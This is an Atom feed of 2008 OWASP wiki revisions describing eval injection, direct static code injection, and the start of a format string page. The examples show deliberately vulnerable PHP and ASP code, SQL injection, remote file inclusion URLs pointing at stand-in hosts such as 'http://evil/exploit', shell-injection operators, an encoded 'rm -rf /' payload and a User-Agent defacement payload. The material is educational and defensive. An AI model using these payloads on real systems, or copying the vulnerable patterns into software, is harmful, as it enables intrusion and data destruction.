		&amp;amp;lt;/pre&amp;amp;gt;&lt;br /&gt;
		&amp;lt;%&lt;br /&gt;
	Else&lt;br /&gt;
		%&amp;gt;&lt;br /&gt;
		&amp;lt;form&amp;gt;&lt;br /&gt;
			&amp;lt;input name=&amp;quot;username&amp;quot; /&amp;gt;&amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;submit&amp;quot; /&amp;gt;&lt;br /&gt;
		&amp;lt;/form&amp;gt;&lt;br /&gt;
		&amp;lt;%&lt;br /&gt;
	End If&lt;br /&gt;
%&amp;gt;&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Insider]]&lt;br /&gt;
&lt;br /&gt;
[[:Category:outsider]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
*[[Direct Static Code Injection]]&lt;br /&gt;
*[[Code Injection]]&lt;br /&gt;
*[[:Category:Injection Attack | Injection Attacks]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* [[Vulnerability 1]]&lt;br /&gt;
* [[Vulnerabiltiy 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
*http://secunia.com/cve_reference/CVE-2006-2005/?show_result=1&lt;br /&gt;
* http://en.wikipedia.org/wiki/Code_injection&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Direct_Dynamic_Code_Evaluation_(%27Eval_Injection%27)&amp;diff=33019</id>
		<title>Direct Dynamic Code Evaluation ('Eval Injection')</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Direct_Dynamic_Code_Evaluation_(%27Eval_Injection%27)&amp;diff=33019"/>
				<updated>2008-07-01T17:07:36Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Related Threat Agents */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
This attack consists in a script does not properly validate user inputs in the page parameter.  A remote user can supply a specially crafted URL to pass arbitrary code to an eval() statement which results in code execution.&lt;br /&gt;
&lt;br /&gt;
Note 1: This attack will execute the code with the same permission like the target web service, including operation system commands.&lt;br /&gt;
&lt;br /&gt;
Note 2: Eval injection is prevalent in handler/dispatch procedures that might want to invoke a large number of functions, or set a large number of variables.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
In this example an attacker can control all or part of an input string that is fed into an eval() function call&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
  $myvar = &amp;quot;varname&amp;quot;; &lt;br /&gt;
  $x = $_GET['arg']; &lt;br /&gt;
  eval(&amp;quot;\$myvar = \$x;&amp;quot;); &lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The argument of &amp;quot;eval&amp;quot; will be processed as PHP, so additional commands can be appended. For example, if &amp;quot;arg&amp;quot; is set to &amp;quot;10 ; system(\&amp;quot;/bin/echo uh-oh\&amp;quot;);&amp;quot;, additional code is run which executes a program on the server, in this case &amp;quot;/bin/echo&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
The following is a example of [[SQL Injection]], consider a web page has two fields to allow users to enter a Username and a Password. The code behind the page will generate a SQL query to check the Password against the list of Usernames: &lt;br /&gt;
 SELECT UserList.Username&lt;br /&gt;
 FROM UserList&lt;br /&gt;
 WHERE&lt;br /&gt;
 UserList.Username = 'Username'&lt;br /&gt;
 AND UserList.Password = 'Password'&lt;br /&gt;
&lt;br /&gt;
If this query returns exactly one row, then access is granted. However, if the malicious user enters a valid Username and injects some valid code (&amp;quot;' OR 1=1&amp;quot;) in the Password field, then the resulting query will look like this:&lt;br /&gt;
 SELECT UserList.Username&lt;br /&gt;
 FROM UserList&lt;br /&gt;
 WHERE&lt;br /&gt;
 UserList.Username = 'Username'&lt;br /&gt;
 AND UserList.Password = 'Password' OR '1'='1'&lt;br /&gt;
&lt;br /&gt;
In the example above, &amp;quot;Password&amp;quot; is assumed to be blank or some innocuous string. &amp;quot;1=1&amp;quot; will always be true and many rows will be returned, thereby allowing access. The final inverted comma will be ignored by the SQL parser. The technique may be refined to allow multiple statements to run, or even to load up and run external programs.&lt;br /&gt;
&lt;br /&gt;
===Example 3===&lt;br /&gt;
This is a example of a file was injected. Consider this PHP program (which includes a file specified by request):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
   $color = 'blue';&lt;br /&gt;
   if ( isset( $_GET['COLOR'] ) )&lt;br /&gt;
      $color = $_GET['COLOR'];&lt;br /&gt;
   require( $color . '.php' );&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;form&amp;gt;&lt;br /&gt;
   &amp;lt;select name=&amp;quot;COLOR&amp;quot;&amp;gt;&lt;br /&gt;
      &amp;lt;option value=&amp;quot;red&amp;quot;&amp;gt;red&amp;lt;/option&amp;gt;&lt;br /&gt;
      &amp;lt;option value=&amp;quot;blue&amp;quot;&amp;gt;blue&amp;lt;/option&amp;gt;&lt;br /&gt;
   &amp;lt;/select&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;submit&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The developer thought this would ensure that only blue.php and red.php could be loaded. But as anyone can easily insert arbitrary values in COLOR, it is possible to inject code from files:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/vulnerable.php?COLOR='''&amp;lt;nowiki&amp;gt;http://evil/exploit&amp;lt;/nowiki&amp;gt;'''&amp;lt;/code&amp;gt; - injects a remotely hosted file containing an exploit.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/vulnerable.php?COLOR='''C:\ftp\upload\exploit'''&amp;lt;/code&amp;gt; - injects an uploaded file containing an exploit.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/vulnerable.php?COLOR='''..\..\..\..\ftp\upload\exploit'''&amp;lt;/code&amp;gt; - injects an uploaded file containing an exploit, using [[Path Traversal]].&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/vulnerable.php?COLOR='''C:\notes.txt%00'''&amp;lt;/code&amp;gt; - example using Null character, Meta character to remove the &amp;lt;code&amp;gt;.php&amp;lt;/code&amp;gt; suffix, allowing access to other files than .php. (PHP setting &amp;quot;magic_quotes_gpc = On&amp;quot;, which is default, would stop this attack)&lt;br /&gt;
&lt;br /&gt;
===Example 4===&lt;br /&gt;
A simple URL which demonstrate a way to do this attack:&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://some-page/any-dir/index.php?page=&amp;lt;?include($s);?&amp;gt;&amp;amp;s=http://malicious-page/cmd.txt?  &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 5===&lt;br /&gt;
Shell Injection applies to most systems which allows software to programmatically execute Command line. Typical sources of Shell Injection is calls system(), StartProcess(), java.lang.Runtime.exec() and similar APIs.&lt;br /&gt;
&lt;br /&gt;
Consider the following short PHP program, which runs an external program called '''funnytext''' to replace a word the user sent with some other word)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
&amp;lt;HTML&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
passthru ( &amp;quot; /home/user/phpguru/funnytext &amp;quot; &lt;br /&gt;
           . $_GET['USER_INPUT'] );&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This program can be injected in multiple ways:&lt;br /&gt;
* '''`command`''' will execute '''command'''.&lt;br /&gt;
* '''$(command)''' will execute '''command'''.&lt;br /&gt;
* '''; command''' will execute '''command''', and output result of command.&lt;br /&gt;
* '''| command''' will execute '''command''', and output result of command.&lt;br /&gt;
* '''&amp;amp;&amp;amp; command''' will execute '''command''', and output result of command.&lt;br /&gt;
* '''|| command''' will execute '''command''', and output result of command.&lt;br /&gt;
* '''&amp;gt; /home/user/phpguru/.bashrc''' will overwrite file '''.bashrc'''.&lt;br /&gt;
* '''&amp;lt; /home/user/phpguru/.bashrc''' will send file '''.bashrc''' as input to '''funnytext'''.&lt;br /&gt;
&lt;br /&gt;
PHP offers [http://www.php.net/manual/en/function.escapeshellarg.php escapeshellarg()] and [http://www.php.net/manual/en/function.escapeshellcmd.php escapeshellcmd()] to perform '''encoding''' before calling methods. However, it is not recommended to trust these methods to be secure - also validate/sanitize input.&lt;br /&gt;
&lt;br /&gt;
===Example 6===&lt;br /&gt;
The following code is a vulnerable a eval() injection, because it don’t sanitize the user’s input (in this case: “username”), the program just save this input in txt file, and after the server will execute this file without any validation. In this case the user is able to insert a command instead of a username.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
&amp;lt;%&lt;br /&gt;
	If not isEmpty(Request( &amp;quot;username&amp;quot; ) ) Then&lt;br /&gt;
		Const ForReading = 1, ForWriting = 2, ForAppending = 8&lt;br /&gt;
		Dim fso, f&lt;br /&gt;
		Set fso = CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;)&lt;br /&gt;
		Set f = fso.OpenTextFile(Server.MapPath( &amp;quot;userlog.txt&amp;quot; ), ForAppending, True)&lt;br /&gt;
		f.Write Request(&amp;quot;username&amp;quot;) &amp;amp; vbCrLf&lt;br /&gt;
		f.close&lt;br /&gt;
		Set f = nothing&lt;br /&gt;
		Set fso = Nothing&lt;br /&gt;
		%&amp;gt;&lt;br /&gt;
		&amp;lt;h1&amp;gt;List of logged users:&amp;lt;/h1&amp;gt;&lt;br /&gt;
		&amp;amp;lt;pre&amp;amp;gt;&lt;br /&gt;
		&amp;lt;%&lt;br /&gt;
			Server.Execute( &amp;quot;userlog.txt&amp;quot; )&lt;br /&gt;
		%&amp;gt;&lt;br /&gt;
		&amp;amp;lt;/pre&amp;amp;gt;&lt;br /&gt;
		&amp;lt;%&lt;br /&gt;
	Else&lt;br /&gt;
		%&amp;gt;&lt;br /&gt;
		&amp;lt;form&amp;gt;&lt;br /&gt;
			&amp;lt;input name=&amp;quot;username&amp;quot; /&amp;gt;&amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;submit&amp;quot; /&amp;gt;&lt;br /&gt;
		&amp;lt;/form&amp;gt;&lt;br /&gt;
		&amp;lt;%&lt;br /&gt;
	End If&lt;br /&gt;
%&amp;gt;&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Insider]]&lt;br /&gt;
&lt;br /&gt;
[[:Category:outsider]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
*[[Direct Static Code Injection]]&lt;br /&gt;
*[[Code Injection]]&lt;br /&gt;
*[[:Category:Injection Attack | Injection Attacks]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* [[Vulnerability 1]]&lt;br /&gt;
* [[Vulnerabiltiy 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
* [[Control 1]]&lt;br /&gt;
* [[Control 2]]&lt;br /&gt;
&lt;br /&gt;
Note: contents of &amp;quot;Avoidance and Mitigation&amp;quot; and &amp;quot;Countermeasure&amp;quot; Sections should be placed here&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
*http://secunia.com/cve_reference/CVE-2006-2005/?show_result=1&lt;br /&gt;
* http://en.wikipedia.org/wiki/Code_injection&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Direct_Static_Code_Injection&amp;diff=33016</id>
		<title>Direct Static Code Injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Direct_Static_Code_Injection&amp;diff=33016"/>
				<updated>2008-07-01T17:01:50Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Related Threat Agents */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Direct Static Code Injection attack consists on injecting code directly onto the resource used by application while processing a user request. This is normally performed by tampering libraries and template files which are created based on user input without proper data sanitization. &lt;br /&gt;
Upon a user request to the modified resource, the actions defined on it will be executed at server side in the context of web server process.&lt;br /&gt;
&lt;br /&gt;
[[Server-Side Includes (SSI) Injection | Server Side Includes]] is considered a type of direct static code injection. It should not be confused with other types of code injection, like [[Cross Site Scripting | XSS]] (“Cross Site Scripting” or “HTML injection”) where the code is executed on client side.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
This is a simple example of exploitation of CGISCRIPT.NET csSearch 2.3 vulnerability, published on Bugtraq ID: 4368.&lt;br /&gt;
By requesting the following URL to the server, it’s possible to execute commands defined on ‘’’’setup’’’ variable.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
 csSearch.cgi?command=savesetup&amp;amp;setup=''PERL_CODE_HERE''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
For the classical example, it can be used the following command to remove all files from “/” folder:&lt;br /&gt;
csSearch.cgi?command=savesetup&amp;amp;setup=`rm%20-rf%20/`&lt;br /&gt;
&lt;br /&gt;
Note that the above command must be encoded in order to be accepted.	&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
This example exploits a vulnerability on Ultimate PHP Board (UPB) 1.9 (CVE-2003-0395), which allows an attacker to execute random php code. This happens because some user variables, like IP address and User-Agent, are stored in a file that is used by admin_iplog.php page to show user statistics. When an administrator browses this page, the previously injected code by a malicious request is executed. &lt;br /&gt;
The following example stores a malicious PHP code that will deface index.html page when administrator browses admin_iplog.php.&lt;br /&gt;
 GET /board/index.php HTTP/1.0&lt;br /&gt;
 User-Agent: &amp;lt;? system( &amp;quot;echo \'hacked\' &amp;gt; ../index.html&amp;quot; ); ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Insider]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
*[[Server-Side Includes (SSI) Injection | Server Side Includes]]&lt;br /&gt;
*[[ Direct Dynamic Code Evaluation ('Eval Injection')]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Input Validation Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* http://www.seclab.tuwien.ac.at/advisories/TUVSA-0510-001.txt&lt;br /&gt;
&lt;br /&gt;
* http://marc.info/?l=bugtraq&amp;amp;m=105379741528925&amp;amp;w=2&lt;br /&gt;
&lt;br /&gt;
* http://archives.neohapsis.com/archives/bugtraq/2005-06/0002.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Direct_Dynamic_Code_Evaluation_(%27Eval_Injection%27)&amp;diff=33014</id>
		<title>Direct Dynamic Code Evaluation ('Eval Injection')</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Direct_Dynamic_Code_Evaluation_(%27Eval_Injection%27)&amp;diff=33014"/>
				<updated>2008-07-01T17:00:40Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Related Threat Agents */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
This attack consists in a script does not properly validate user inputs in the page parameter.  A remote user can supply a specially crafted URL to pass arbitrary code to an eval() statement which results in code execution.&lt;br /&gt;
&lt;br /&gt;
Note 1: This attack will execute the code with the same permission like the target web service, including operation system commands.&lt;br /&gt;
&lt;br /&gt;
Note 2: Eval injection is prevalent in handler/dispatch procedures that might want to invoke a large number of functions, or set a large number of variables.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
In this example an attacker can control all or part of an input string that is fed into an eval() function call&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
  $myvar = &amp;quot;varname&amp;quot;; &lt;br /&gt;
  $x = $_GET['arg']; &lt;br /&gt;
  eval(&amp;quot;\$myvar = \$x;&amp;quot;); &lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The argument of &amp;quot;eval&amp;quot; will be processed as PHP, so additional commands can be appended. For example, if &amp;quot;arg&amp;quot; is set to &amp;quot;10 ; system(\&amp;quot;/bin/echo uh-oh\&amp;quot;);&amp;quot;, additional code is run which executes a program on the server, in this case &amp;quot;/bin/echo&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
The following is a example of [[SQL Injection]], consider a web page has two fields to allow users to enter a Username and a Password. The code behind the page will generate a SQL query to check the Password against the list of Usernames: &lt;br /&gt;
 SELECT UserList.Username&lt;br /&gt;
 FROM UserList&lt;br /&gt;
 WHERE&lt;br /&gt;
 UserList.Username = 'Username'&lt;br /&gt;
 AND UserList.Password = 'Password'&lt;br /&gt;
&lt;br /&gt;
If this query returns exactly one row, then access is granted. However, if the malicious user enters a valid Username and injects some valid code (&amp;quot;' OR 1=1&amp;quot;) in the Password field, then the resulting query will look like this:&lt;br /&gt;
 SELECT UserList.Username&lt;br /&gt;
 FROM UserList&lt;br /&gt;
 WHERE&lt;br /&gt;
 UserList.Username = 'Username'&lt;br /&gt;
 AND UserList.Password = 'Password' OR '1'='1'&lt;br /&gt;
&lt;br /&gt;
In the example above, &amp;quot;Password&amp;quot; is assumed to be blank or some innocuous string. &amp;quot;1=1&amp;quot; will always be true and many rows will be returned, thereby allowing access. The final inverted comma will be ignored by the SQL parser. The technique may be refined to allow multiple statements to run, or even to load up and run external programs.&lt;br /&gt;
&lt;br /&gt;
===Example 3===&lt;br /&gt;
This is a example of a file was injected. Consider this PHP program (which includes a file specified by request):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
   $color = 'blue';&lt;br /&gt;
   if ( isset( $_GET['COLOR'] ) )&lt;br /&gt;
      $color = $_GET['COLOR'];&lt;br /&gt;
   require( $color . '.php' );&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;form&amp;gt;&lt;br /&gt;
   &amp;lt;select name=&amp;quot;COLOR&amp;quot;&amp;gt;&lt;br /&gt;
      &amp;lt;option value=&amp;quot;red&amp;quot;&amp;gt;red&amp;lt;/option&amp;gt;&lt;br /&gt;
      &amp;lt;option value=&amp;quot;blue&amp;quot;&amp;gt;blue&amp;lt;/option&amp;gt;&lt;br /&gt;
   &amp;lt;/select&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;submit&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The developer thought this would ensure that only blue.php and red.php could be loaded. But as anyone can easily insert arbitrary values in COLOR, it is possible to inject code from files:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/vulnerable.php?COLOR='''&amp;lt;nowiki&amp;gt;http://evil/exploit&amp;lt;/nowiki&amp;gt;'''&amp;lt;/code&amp;gt; - injects a remotely hosted file containing an exploit.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/vulnerable.php?COLOR='''C:\ftp\upload\exploit'''&amp;lt;/code&amp;gt; - injects an uploaded file containing an exploit.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/vulnerable.php?COLOR='''..\..\..\..\ftp\upload\exploit'''&amp;lt;/code&amp;gt; - injects an uploaded file containing an exploit, using [[Path Traversal]].&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/vulnerable.php?COLOR='''C:\notes.txt%00'''&amp;lt;/code&amp;gt; - example using Null character, Meta character to remove the &amp;lt;code&amp;gt;.php&amp;lt;/code&amp;gt; suffix, allowing access to other files than .php. (PHP setting &amp;quot;magic_quotes_gpc = On&amp;quot;, which is default, would stop this attack)&lt;br /&gt;
&lt;br /&gt;
===Example 4===&lt;br /&gt;
A simple URL which demonstrate a way to do this attack:&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://some-page/any-dir/index.php?page=&amp;lt;?include($s);?&amp;gt;&amp;amp;s=http://malicious-page/cmd.txt?  &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 5===&lt;br /&gt;
Shell Injection applies to most systems which allows software to programmatically execute Command line. Typical sources of Shell Injection is calls system(), StartProcess(), java.lang.Runtime.exec() and similar APIs.&lt;br /&gt;
&lt;br /&gt;
Consider the following short PHP program, which runs an external program called '''funnytext''' to replace a word the user sent with some other word)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
&amp;lt;HTML&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
passthru ( &amp;quot; /home/user/phpguru/funnytext &amp;quot; &lt;br /&gt;
           . $_GET['USER_INPUT'] );&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This program can be injected in multiple ways:&lt;br /&gt;
* '''`command`''' will execute '''command'''.&lt;br /&gt;
* '''$(command)''' will execute '''command'''.&lt;br /&gt;
* '''; command''' will execute '''command''', and output result of command.&lt;br /&gt;
* '''| command''' will execute '''command''', and output result of command.&lt;br /&gt;
* '''&amp;amp;&amp;amp; command''' will execute '''command''', and output result of command.&lt;br /&gt;
* '''|| command''' will execute '''command''', and output result of command.&lt;br /&gt;
* '''&amp;gt; /home/user/phpguru/.bashrc''' will overwrite file '''.bashrc'''.&lt;br /&gt;
* '''&amp;lt; /home/user/phpguru/.bashrc''' will send file '''.bashrc''' as input to '''funnytext'''.&lt;br /&gt;
&lt;br /&gt;
PHP offers [http://www.php.net/manual/en/function.escapeshellarg.php escapeshellarg()] and [http://www.php.net/manual/en/function.escapeshellcmd.php escapeshellcmd()] to perform '''encoding''' before calling methods. However, it is not recommended to trust these methods to be secure - also validate/sanitize input.&lt;br /&gt;
&lt;br /&gt;
===Example 6===&lt;br /&gt;
The following code is a vulnerable a eval() injection, because it don’t sanitize the user’s input (in this case: “username”), the program just save this input in txt file, and after the server will execute this file without any validation. In this case the user is able to insert a command instead of a username.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
&amp;lt;%&lt;br /&gt;
	If not isEmpty(Request( &amp;quot;username&amp;quot; ) ) Then&lt;br /&gt;
		Const ForReading = 1, ForWriting = 2, ForAppending = 8&lt;br /&gt;
		Dim fso, f&lt;br /&gt;
		Set fso = CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;)&lt;br /&gt;
		Set f = fso.OpenTextFile(Server.MapPath( &amp;quot;userlog.txt&amp;quot; ), ForAppending, True)&lt;br /&gt;
		f.Write Request(&amp;quot;username&amp;quot;) &amp;amp; vbCrLf&lt;br /&gt;
		f.close&lt;br /&gt;
		Set f = nothing&lt;br /&gt;
		Set fso = Nothing&lt;br /&gt;
		%&amp;gt;&lt;br /&gt;
		&amp;lt;h1&amp;gt;List of logged users:&amp;lt;/h1&amp;gt;&lt;br /&gt;
		&amp;amp;lt;pre&amp;amp;gt;&lt;br /&gt;
		&amp;lt;%&lt;br /&gt;
			Server.Execute( &amp;quot;userlog.txt&amp;quot; )&lt;br /&gt;
		%&amp;gt;&lt;br /&gt;
		&amp;amp;lt;/pre&amp;amp;gt;&lt;br /&gt;
		&amp;lt;%&lt;br /&gt;
	Else&lt;br /&gt;
		%&amp;gt;&lt;br /&gt;
		&amp;lt;form&amp;gt;&lt;br /&gt;
			&amp;lt;input name=&amp;quot;username&amp;quot; /&amp;gt;&amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;submit&amp;quot; /&amp;gt;&lt;br /&gt;
		&amp;lt;/form&amp;gt;&lt;br /&gt;
		&amp;lt;%&lt;br /&gt;
	End If&lt;br /&gt;
%&amp;gt;&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Insider]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
*[[Direct Static Code Injection]]&lt;br /&gt;
*[[Code Injection]]&lt;br /&gt;
*[[:Category:Injection Attack | Injection Attacks]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* [[Vulnerability 1]]&lt;br /&gt;
* [[Vulnerabiltiy 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
* [[Control 1]]&lt;br /&gt;
* [[Control 2]]&lt;br /&gt;
&lt;br /&gt;
Note: contents of &amp;quot;Avoidance and Mitigation&amp;quot; and &amp;quot;Countermeasure&amp;quot; Sections should be placed here&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
*http://secunia.com/cve_reference/CVE-2006-2005/?show_result=1&lt;br /&gt;
* http://en.wikipedia.org/wiki/Code_injection&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Format_string_attack&amp;diff=32359</id>
		<title>Format string attack</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Format_string_attack&amp;diff=32359"/>
				<updated>2008-06-24T22:10:29Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
